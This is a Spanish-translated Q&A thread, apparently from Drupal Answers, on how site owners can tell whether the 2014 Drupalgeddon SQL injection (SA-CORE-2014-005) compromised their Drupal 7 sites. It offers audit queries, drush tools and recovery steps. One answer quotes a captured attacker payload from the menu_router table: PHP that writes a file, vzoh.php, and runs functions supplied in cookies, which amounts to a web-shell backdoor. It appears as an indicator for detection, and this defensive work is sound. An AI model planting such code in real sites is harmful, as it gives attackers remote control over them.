Drupal SA-CORE-2014-005 - ¿Cómo saber si mi servidor / sitios se vieron comprometidos?

40

Acabo de actualizar todos mis sitios utilizando el método de parche para resolver el exploit Drupal SA-CORE-2014-005. Acabo de leer informes de que ayer había alguien de una IP rusa que se infiltraba en los sitios de drupal.

https://www.drupal.org/SA-CORE-2014-005

Mis principales preocupaciones son ahora:

  • ¿Cómo puedo saber si mis sitios han sido incluidos?
  • ¿Qué debo buscar en mis registros de acceso de apache para detectar si mi sitio fue víctima o no?
  • Hasta ahora, ¿qué están haciendo estos piratas informáticos en sitios compuestos?
Patoshi パ ト シ
fuente
77
Hay un módulo para eso ahora drupal.org/project/drupalgeddon
mikeytown2
¿Qué sucede si no tengo la configuración de alias para 100 sitios de drupal? ¿Cuáles son algunos trucos comunes que descubres para que sepamos qué hacer?
Patoshi パ ト シ
1
@duckx Verifique el código en el módulo drupalgeddon y encontrará esos hacks comunes; No podemos enumerar todos los cambios posibles que un usuario malintencionado puede hacer con acceso completo a una base de datos, por razones obvias. Pueden hacer cualquier cambio que el usuario de Drupal mysql tenga permisos para hacer, ese es el punto. Entonces, literalmente, la única forma de saberlo con certeza es comparar su base de datos actual con una versión buena conocida. Si está buscando un botón para presionar que de manera confiable y 100% precisa le diga si su sitio ha sido comprometido o no, está soñando, me temo :)
Clive
Ducky: si no tienes alias configurados y tienes 100 sitios, ¿será más fácil configurar los alias que tratarlos manualmente? Obtenga una lista de las raíces del sitio y las URL y puede convertirla en un conjunto de alias desde allí.
Chris Burgess

Respuestas:

6

Aquí hay algunas consultas SQL que se pueden ejecutar en las bases de datos de su sitio para verificar si hay usuarios con privilegios de administrador y cuáles han accedido al sitio después del 15 de octubre.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005

JustinChev
fuente
1
Hola y bienvenido a Drupal Answers. Puede mejorar su respuesta proporcionando un pequeño resumen de la página proporcionada.
Wtower
Por cierto, se recomienda verificar los usuarios creados después del 15 de octubre. Esto utiliza el createdcampo de la tabla de usuarios. No se garantiza que la persona que inyectó SQL respetará el valor del campo, lo que hace que esta comprobación no sea muy útil. De hecho, se me ocurrió que la inyección de usuario común por el nombre drupaldevse creó supuestamente hace 44 semanas. En cuanto a la segunda recomendación, de nuevo, no se garantiza que el usuario inyectada se habrá hecho iniciado sesión.
Wtower
29

Si está leyendo este artículo y espera consultar un sitio de Drupal 7 más de un mes después de que se produjera el exploit, es muy probable que su sitio ya haya sido pirateado . Su mejor opción es restaurar una copia de seguridad desde antes de que comenzaran los ataques y trabajar desde allí.

Hay preguntas frecuentes sobre SA-CORE-2014-005 .

¿Cómo puedo saber si mis sitios han sido comprometidos?

Una forma de verificar rápidamente si los sitios están comprometidos es con el comando drush Drupalgeddon.

Instalar a su ~/.drushcondrush dl drupalgeddon

Luego use drush drupalgeddon-testpara probar. Los alias drush hacen que esto sea fácil y rápido.

Esta herramienta puede confirmar un sitio explotado, pero no puede garantizar que su sitio no haya sido explotado. Aquí no hay una "declaración de salud limpia" a menos que haya actualizado antes de que comenzaran los ataques.


El módulo de Auditoría del sitio incluye algunas de las comprobaciones de Drupalgeddon, y también le brinda una información mucho más útil. Lo recomiendo altamente. (EDITAR: ahora trabajan juntos, ¡súper agradable!)


Security Review no verifica los ataques de Drupalgeddon, pero también vale la pena tenerlo en su cinturón de herramientas.


Si la base de código de su sitio se puede escribir para el usuario de www, también puede verificar el código modificado utilizando el módulo pirateado. Es posible que este módulo no haga lo que piensas solo por su nombre :)


Si bien no existe una única forma segura de identificar todos los sitios comprometidos, estas herramientas pueden ayudarlo a identificar las indicaciones más comunes.


¿Qué debo buscar en mis registros de acceso de apache para detectar si mi sitio fue víctima o no?

Sus registros de acceso contendrán muchas solicitudes POST por ahora. A menos que haya dado el paso inusual de registrar todos los datos de publicación antes del error, es poco probable que tenga la información para determinar cuáles de ellos fueron maliciosos.

Hasta ahora, ¿qué están haciendo estos piratas informáticos en sitios comprometidos?

¡Muchos informan que los piratas informáticos han parcheado sus sitios! Como atacante, esto tiene sentido: no desea que el próximo atacante le quite su sitio recientemente secuestrado :)

Aparte de eso, supongo que los sitios se están utilizando para recolectar cualquier información valiosa que esté allí (tal vez obtener algunos créditos, tal vez levantar detalles de la transacción después de explotar) y hacer cosas aburridas como enviar spam y trabajar como humildes esclavos de botnet. Ah, y ampliar aún más el imperio del atacante de sitios Drupal secuestrados. (Lo siento, no tengo sitios pirateados para observar).

Chris Burgess
fuente
¿Puedes aclarar? ¿Algún ataque siempre comenzaría con una solicitud POST? Estoy examinando mis registros para cualquier POST. He visto el de IP 62.76.191.119 después de haber parcheado.
Lance Holland
Tenía un sitio que fue víctima de esta hazaña y parecía que los atacantes lo usaban para enviar toneladas de spam desde el servidor.
Cyclonecode
24

Algunas comprobaciones para ataques comunes son (esta no es una lista exhaustiva, pero son algunos de los ataques vistos en la naturaleza hasta ahora):

  • Verifique su cuenta de usuario 1 para asegurarse de que su nombre de usuario, dirección de correo electrónico o contraseña sean los que espera que sean. Compruebe también cualquier otra cuenta de usuario que tenga altos niveles de permisos si es posible.
  • Busque nuevas cuentas de usuario que parezcan sospechosas.
  • Verifique los cambios en los roles en su sistema, por ejemplo, nuevos roles o roles renombrados.
  • Verifique los cambios de permisos. El aspecto más importante de esto es asegurarse de que la función de usuario anónimo (u otras funciones que cualquiera pueda suscribirse para obtener) no se haya cambiado para darles un mayor acceso.
  • Busque nuevos bloques personalizados que puedan contener código malicioso.
  • Busque nuevos nodos personalizados que puedan contener código malicioso.
  • Verifique si hay archivos en su sistema de archivos que no deberían estar allí. Esto es fácil si usa el control de versiones porque puede hacer git status o svn st para ver si hay archivos nuevos allí.
  • Si han subido archivos maliciosos, puede verificar sus registros de acceso para ver si hay aciertos en nombres de archivos extraños con los que no está familiarizado.
  • Consulte la tabla de la base de datos del enrutador de menú para ver si hay entradas maliciosas. Por ejemplo (el módulo drupalgeddon / plugin drush en drupal.org tiene un buen script para verificar esta tabla más a fondo):

    SELECCIONAR * DESDE menu_router DONDE access_callback = 'file_put_contents';

  • También puede navegar por la tabla del enrutador del menú para ver entradas de aspecto extraño.

Algunas cosas que los hackers están tratando de hacer son:

  • Coloque archivos de script php en su sitio que luego puedan ejecutar presionándolos en un navegador. Estas secuencias de comandos pueden hacer una amplia gama de cosas maliciosas. Esto se logra mediante la adición de entradas de enrutador de menú malicioso.
  • Cree cuentas de usuarios administradores para que luego puedan usar para hacer cosas malas en su sitio o hacerse cargo de su sitio.
  • Cambie la dirección de correo electrónico del usuario 1 para que pueda restablecer la contraseña de esa cuenta y hacerse cargo.
  • Cambie los permisos en los roles de usuario de acceso público.
  • Añadir bloques / nodos / etc. que puede contener código malicioso Si tiene habilitado el filtro PHP, esto es un problema aún mayor.

Desafortunadamente, hay tantas cosas que un atacante podría hacer en su base de datos que es bastante difícil dar una lista completa de posibilidades. Podrían hacer cosas que intenten hacer que controlen su sitio, o simplemente podrían romper su sitio pero soltar tablas o columnas de la base de datos, etc.

Incluso podrían hacer cambios muy pequeños en la configuración del sitio, como cambiar el nombre de su sitio o algo así, que no es el fin del mundo, pero sigue siendo problemático.

Básicamente, cualquier cosa que pueda hacer en su base de datos ejecutando un comando SQL, un atacante podría hacer teóricamente.

Todos los módulos mencionados en la respuesta de Chris Burgess son muy útiles para verificar estas cosas.

robo
fuente
1
Debes haber sido golpeado por 62.76.191.119. Por lo general, parece que esta IP está tratando de colocar un archivo en su docroot a través de menu_router y posiblemente otras cosas desagradables en su base de datos. Puede leer los comentarios en drupal.org/node/2357241 .
scor
No he sido golpeado por ninguno hasta donde mis investigaciones de mis sitios han demostrado hasta ahora. Esto es solo información para ayudar al OP.
rooby
¿Cómo hago para "Verificar la tabla de la base de datos del enrutador de menú en busca de entradas maliciosas"? Estoy en un servidor Centos y tengo root.
Patoshi パ ト シ
Puede ejecutar el comando de base de datos "SELECCIONAR * DESDE menu_router" y luego rastrearlos a todos para verificar si hay filas que parecen fuera de lugar. También hay un comando más específico mencionado en mi respuesta que busca un ataque específico que se conoce y se utiliza para cargar archivos a su servidor.
rooby
Esa IP 62.76.191.119 intenta explotar la vulnerabilidad de mis sitios dentro de un día después del lanzamiento de la actualización de seguridad. Prohibí todos mis sitios. Tuve mucha suerte de haber actualizado mis sitios a tiempo. Fue extraño porque estaba golpeando mis sitios en orden alfabético.
cayerdis
10

Creo que seguiría el consejo de drupal.org " Debería proceder bajo el supuesto de que cada sitio web de Drupal 7 se vio comprometido a menos que se actualice o parchee antes del 15 de octubre a las 11 p.m. UTC, es decir, 7 horas después del anuncio ". Como dijo Bevan en este comentario "Actualizar o parchar Drupal no repara las puertas traseras que los atacantes instalaron antes de actualizar o parchar Drupal".

Bevan también realizó el siguiente diagrama de flujo de trabajo para ayudarlo a analizar si podría haberse infectado y cómo recuperarse y prevenirlo . Sin embargo, les pide a todos que vayan a su artículo original para asegurarse de que tengan la última versión del flujo de trabajo. Además, Acquia hace un artículo interesante sobre los ataques y patrones que han experimentado en Acquia Cloud

 diagrama de flujo para comprender si es vulnerable, si pudo haber sido infectado y cómo recuperarse

cayerdis
fuente
4

Cita de: https://www.drupal.org/node/2357241#comment-9258955

Este es un ejemplo del archivo que se inserta en la columna menu_router table access_callback:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Como puede ver, está tratando de crear los módulos de archivo / image / vzoh.php, pero dado que solo he leído los permisos dentro de esos directorios, php falla.

Informes de personas que encuentran archivos similares creados haciendo una búsqueda en su directorio de drupal: https://www.drupal.org/node/2357241#comment-9260017


Lo que hice fue hacer el siguiente comando:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

Citado de: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Mostrar archivos que han cambiado en el servidor en vivo: estado de git

Buscando intentos de ejecución de código a través de menu_router: seleccione * desde menu_router donde access_callback = 'file_put_contents'

Mostrar qué archivos están en el servidor en vivo y no en el control de versiones: diff -r docroot repo | grep docroot | grep 'Solo en docroot'

Encontrar archivos PHP en el directorio de archivos: buscar. -path "* php"

Comprobando la cantidad de tiempo entre el momento en que un usuario inició sesión en su sitio y su visita más reciente a la página: seleccione (s.timestamp - u.login) / 60/60/24 AS days_since_login, u.uid de las sesiones s internal join users u on s.uid = u.uid;

Patoshi パ ト シ
fuente
3

Una muy buena lista de comandos para saber si ha sido comprimido.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));
Patoshi パ ト シ
fuente
1
En lugar de dar respuestas separadas, ¿tal vez debería editar la primera y agregar la información adicional?
Cyclonecode
0

Puede verificar si su sitio web ha sido pirateado con esta herramienta en línea:

Drupal Check: El EngineHack

Obviamente tiene sus limitaciones, pero es un buen punto de partida.

bmunslow
fuente